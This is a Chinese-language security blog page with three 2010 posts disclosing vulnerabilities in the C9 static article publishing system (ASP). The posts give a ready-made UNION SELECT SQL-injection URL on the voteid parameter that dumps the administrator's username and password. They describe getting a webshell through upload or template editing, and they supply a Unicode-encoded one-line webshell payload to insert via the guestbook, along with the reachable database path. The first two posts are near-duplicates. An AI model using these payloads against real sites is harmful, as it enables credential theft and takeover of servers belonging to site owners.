浏览模式: 标准 | 列表Tag:c9

C9静态文章发布系统漏洞 0day

Submitted by admin
2010, May 14, 7:17 PM

漏洞描述:
<!--#include file="../conn.asp"-->
<!--#include file="../fun/funlogic.asp"-->
<%
thisid=funstr(Trim(Request.QueryString("voteid")))
if thisid="" then
set rs=conn.execute("select top 1 * from plug_vote where oorc<>false order by id desc")
else
set rs=conn.execute("select * from plug_vote where id="&thisid)
end if
if rs.eof then response.Write("连接数据发生错误"):response.End()
conn.execute "update plug_vote set votevi=votevi+1 where id="&rs("id")
for i=1 to 5
if isnull(rs("cs_"&i)) then exit for
next

nowid=rs("id")

......

%>

这里 我们看下是如何接收变量传递进来的值的

thisid=funstr(Trim(Request.QueryString("voteid"))) trim
过滤两边空格 然后是funstr这个函数 在包含文件里有个 fun/funlogic.asp 函数应该在这里 打开这个文件

Function funstr(str)

str = replace(str, "<", "&lt;", 1, -1, 1)
str = replace(str, ">", "&gt;", 1, -1, 1)
str = trim(str)
str = replace(str,"'","‘")

funstr = str
End Function
Function unfunstr(str)

str = replace(str, "&lt;","<", 1, -1, 1)
str = replace(str, "&gt;",">", 1, -1, 1)
str = trim(str)
str = replace(str,"‘","'")

unfunstr = str
End Function

这个函数起到的作用就是过滤字符串中的一些字符如 < > 空格 ' 等等 作者可能认为这样就可以达到防注的效果 其实不然 注入不需要这些东西

http://127.0.0.1/plug_vote/xml.asp?voteid=1

构造下

http://127.0.0.1/plug_vote/xml.a ... 0union%20select%201,2,3,4,5,6,7,username,password,10,11,12,13,14,15,16,17,18%20from%20user%20where%20id=1

查询得到管理员用户名和密码

后台拿webshell 有两种方法 一个是上传 一个是编辑模板 注意看下

编辑模板的地址就可以了

来源:t00ls

Tags: c9

C9静态文章发布系统漏洞

Submitted by admin
2010, May 11, 7:27 PM

作者:jshell

近来正在深入学习asp 到down.chinaz.com看源码都成习惯了

一直看到一个叫C9静态文章发布系统的程序 只不过没仔细看过

今天下载回来一份看了下 发现了问题 在投票那里 是一个flash投票系统

flash我不懂 于是抓了个包看了下 发现是通过add.asp提交投票 xml.asp

提供rss输出 当读到这里的时候 发现了问题 代码如下:

<!--#include file="../conn.asp"-->
<!--#include file="../fun/funlogic.asp"-->
<%
thisid=funstr(Trim(Request.QueryString("voteid")))
if thisid="" then
 set rs=conn.execute("select top 1 * from plug_vote where oorc<>false order by id desc")
else
 set rs=conn.execute("select * from plug_vote where id="&thisid)
end if
if rs.eof then response.Write("连接数据发生错误"):response.End()
conn.execute "update plug_vote set votevi=votevi+1 where id="&rs("id")
for i=1 to 5
if isnull(rs("cs_"&i)) then exit for
next

nowid=rs("id")

......

%>

这里 我们看下是如何接收变量传递进来的值的

thisid=funstr(Trim(Request.QueryString("voteid")))  trim过滤两边空格 然后是funstr这个函数 在包含文件里有个 fun/funlogic.asp 函数应该在这里 打开这个文件

Function funstr(str) 
   
  str = replace(str, "<", "&lt;", 1, -1, 1)
  str = replace(str, ">", "&gt;", 1, -1, 1)
     str = trim(str)
  str = replace(str,"'","‘")
  
  funstr = str
    End Function
 Function unfunstr(str) 
   
  str = replace(str, "&lt;","<", 1, -1, 1)
  str = replace(str, "&gt;",">", 1, -1, 1)
     str = trim(str)
  str = replace(str,"‘","'")
  
  unfunstr = str
    End Function

这个函数起到的作用就是过滤字符串中的一些字符如 < > 空格 ' 等等 作者可能认为这样就可以达到防注的效果 其实不然 注入不需要这些东西

http://127.0.0.1:2936/plug_vote/xml.asp?voteid=1

构造下 http://127.0.0.1:2936/plug_vote/xml.asp?voteid=1%20and%201=2%20union%20select%201,2,3,4,5,6,7,username,password,10,11,12,13,14,15,16,17,18%20from%20user%20where%20id=1 查询得到管理员用户名和密码 如图:

大小: 12.43 K
尺寸: 360 x 238
浏览: 63 次
点击打开新窗口浏览全图

后台拿webshell 有两种方法 一个是上传 一个是编辑模板 注意看下

编辑模板的地址就可以了 不多说 用此漏洞干坏事者 MJJ

Tags: c9

C9静态文章发布系统0day

Submitted by admin
2010, April 8, 9:50 AM

C9静态文章发布系统 2.3.8 版 留言本过滤不严导致插入一句话

代码:

names=funstrs(request.Form("names"))
code=funstrs(request.Form("mg"))
title=funstrs(request.Form("title"))
checkcode=funstrs(request.Form("checkcode"))

可以看到,留言内容经过funstrs函数的过滤,再看看funstrs函数是怎么写的,

Function funstr(str) 
 str = trim(str)  
 str = replace(str, "<", "&lt;", 1, -1, 1)
 str = replace(str, ">", "&gt;", 1, -1, 1)
 str = replace(str,"'","‘")
 
 funstr = str
End Function

简单的过滤了<,>,',等内容,我们可以将一句话经过Unicode加密,┼攠數畣整爠煥敵瑳∨≡┩愾 插入数据库,数据库地址为/db/%23%20db.asa

Tags: c9